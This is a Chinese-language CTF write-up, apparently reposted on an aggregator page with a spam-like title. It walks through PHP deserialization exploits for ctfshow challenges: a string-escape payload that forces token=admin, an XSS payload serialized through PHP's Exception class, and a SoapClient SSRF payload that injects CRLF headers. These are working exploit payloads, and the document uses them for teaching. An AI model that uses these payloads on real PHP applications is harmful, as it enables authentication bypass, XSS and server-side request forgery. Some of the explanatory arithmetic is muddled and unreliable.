您的位置:首页 > 娱乐 > 八卦 > 夜聊_系统开发过程中的第一个正式文档是_百度竞价推广的技巧_中国突然宣布一重磅消息

夜聊_系统开发过程中的第一个正式文档是_百度竞价推广的技巧_中国突然宣布一重磅消息

2025/1/15 20:36:29 来源:https://blog.csdn.net/2301_81155391/article/details/144970941  浏览:    关键词:夜聊_系统开发过程中的第一个正式文档是_百度竞价推广的技巧_中国突然宣布一重磅消息
夜聊_系统开发过程中的第一个正式文档是_百度竞价推广的技巧_中国突然宣布一重磅消息

web262

拿着题审计一下

<?php
error_reporting(0);
class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];if(isset($f) && isset($m) && isset($t)){$msg = new message($f,$m,$t);   //实例化对象$umsg = str_replace('fuck', 'loveU', serialize($msg));setcookie('msg',base64_encode($umsg));  //设置cookie 并且进行加密echo 'Your message has been sent';
}       //这里有个过滤函数,过滤了fuck,替换成loveU  判断是增的替换 就思考是不是 占位运算highlight_file(__FILE__);?>

发现这个源码只有类的设置和waf过滤  并没有我们要的flag

发现有个 message.php

发现你妹的这个和上边的是一点关系也没有的

if(isset($_COOKIE['msg'])){      //判断cookie是否存在msg  对cookie进行先base64解密 再反序列化 那我们就需要对payload先进行反序列化 再进行base64解密$msg = unserialize(base64_decode($_COOKIE['msg']));if($msg->token=='admin'){echo $flag;}
}

根据上边的逻辑就是 我们只要让 token=admin 就能输出flag

这个判断少个判断就是  他上面的替换没在这个判断cookie的逻辑内进行确认

所以利用这个我们只需要 把 token的值改为 admin 就能输出flag

但是这个题的实际考点就是字符串的逃逸   但是这个过滤没有应用起来  

如果过滤被应用了  那我们就需要换思路了
首先激活判断先让$f,$m,$t 进行调用 这个就可以让我们new新对象的时候进行创建赋值

构造pop  步骤依旧是先 找原来的和没有替换的

class message{public $from;public $msg;public $to;public $token='admin';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}
function filter($msg){return str_replace('fuck', 'loveU',$msg);
}
$x=new message('1','fuck','3');
$y=serialize($x);
$z=filter($y);
echo $z;

输出一下

替换后的O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:4:"loveU";s:2:"to";s:1:"3";s:5:"token";s:5:"admin";}
44 * 5 =110替换前的O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:4:"fuck";s:2:"to";s:1:"3";s:5:"token";s:5:"admin";}44 * 4 + 44 正好和上边的想等
发现问题   替换后  s:4 和 loveU  是不对应的
因为fuck的输入是我们可以进行控制的所以  就找两者后边的数和替换后字符位数的最大公倍数 (这个仅仅适用于 替换多余一个字符时)(44 和 5的最大公倍数)
后边是44位  我们就需要生成 44个fuckpayload=44*'fuck'+'\";s:2:"to";s:1:"3";s:5:"token";s:5:"admin";}'做到替换前后上下是相等的  因为判断的条件是token是否为 admin 后边的admin保留就可以输出flag 

得知思路之后 先输出44 个fuck

使用之后再加上 后边的就是payload了

$msg=new message('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"a";s:2:"to";s:1:"b";s:5:"token";s:5:"admin";}','a','b');
$msg_1=serialize($msg);
$msg_2=filter($msg_1);
echo $msg_2;
echo "\n";
echo base64_encode($msg_2);

php反序列化原生态

什么是原生态:我的理解就是 利用php模式方法原有的类进行构造恶意的payload

浅析PHP原生类-安全KER - 安全资讯平台

假设给你这个源码  让你得到flag 我们发现我们是无法获取类设定的信息的所以就只能使用php原生自带的方法 去构造恶意的payload 

但是这个有个前提就是你得先知道他是什么的魔术方法

这个就是  echo  输出 echo是输出字符串的  所以 这个就是调用了  __toString的方法

然后寻找tostring的原生态使用脚本

注意:使用脚本之前要先把 php.ini的soap协议打开

 

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {$methods = get_class_methods($class);foreach ($methods as $method) {if (in_array($method, array(
//            '__destruct','__toString',
//            '__wakeup',// '__call',
//            '__callStatic',
//            '__get',
//            '__set',
//            '__isset',
//            '__unset',
//            '__invoke',
//            '__set_state'))) {print $class . '::' . $method . "\n";}}
}

运行脚本

发现获取了一堆

随便找一个 Exception::__toString

这个利用输出报错返回的话结果会更明显一些

    // public Exception::__toString(): 这个Exception就是个类
$xx = new Exception("<script>alert('xss')</script>");
$xxx=serialize($xx);
echo urlencode($xxx);
O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A29%3A%22%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A100%3A%22F%3A%5Cphp+study%5C061-Web%E6%94%BB%E9%98%B2-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%26%E5%AD%97%E7%AC%A6%E4%B8%B2%E9%80%83%E9%80%B8%26CVE%E7%BB%95%E8%BF%87%26%E5%8E%9F%E7%94%9F%E7%B1%BB%E4%BB%A3%E7%A0%81%E7%AD%89%5Cysl_xssdemo.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A20%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D

ctf show 

看这个简单的代码其实就知道是 原生态的利用了    并且这个调用的魔术方法是 __call(调用不存在的魔术方法的时候会触发)

那就去找他的原生态的类

那这个我们的首先反应是不是 xff 修改进入呢

发现不成功  就猜测这个可能是  结合的ssrf 让服务器本身去访问

SoapClient::__call

生成脚本的类

使用文章的这个ssrf进行操作一下

// //满足xff =127.0.0.1 token=ctfshow
$ua="aaa\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
// 调用原生类使用
$client=new SoapClient(null,array('uri'=>'http://127.0.0.1/','location'=>'http://127.0.0.1/flag.php','user_agent'=>$ua));
// echo serialize($client);
echo urlencode(serialize($client));

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com